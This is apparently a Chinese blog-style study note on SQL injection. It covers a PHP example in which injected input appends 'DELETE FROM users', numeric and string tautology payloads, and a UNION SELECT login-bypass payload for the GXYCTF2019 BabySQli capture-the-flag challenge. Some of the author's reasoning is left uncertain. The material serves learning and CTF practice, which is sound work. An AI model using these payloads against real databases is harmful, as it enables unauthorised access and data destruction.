SQL注入

举个例子

// 设定$name 中插入了我们不需要的SQL语句
$name = "Qadir'; DELETE FROM users;";
 mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'");

那么语句就变成了:

SELECT * FROM users WHERE name='Qadir'; DELETE FROM users;'

通常 Sql 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

数字型:

select * from <表名> where id = x

如果输入:

1 or 1 == 1 

就变成:

select * from <表名> where id = 1 or 1 = 1 

无论如何都正确

字符型

select * from <表名> where id = 'x'

如果输入:

x ' or '1' = '1

就变成:

select * from <表名> where id = 'x ' or '1' = '1'

绝对正确

好奇啊,怎么select还可以这样做呢?

联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据

[GXYCTF2019]BabySQli

好奇怪

一般来讲,是三列

输入:

1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
1

c4ca4238a0b923820dcc509a6f75849b是1的md5加密。

注意第一点,就是,

id  username password

执行

select * from users where username = '1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

我觉得无论输入

1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

还是

admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

都是可以注入成功的。

但是不行?

不知道为啥。

因为前面的是id,无论这个username是否存在,后面的语句都是可以添加到虚拟表的。

你可能感兴趣的:(sql,数据库)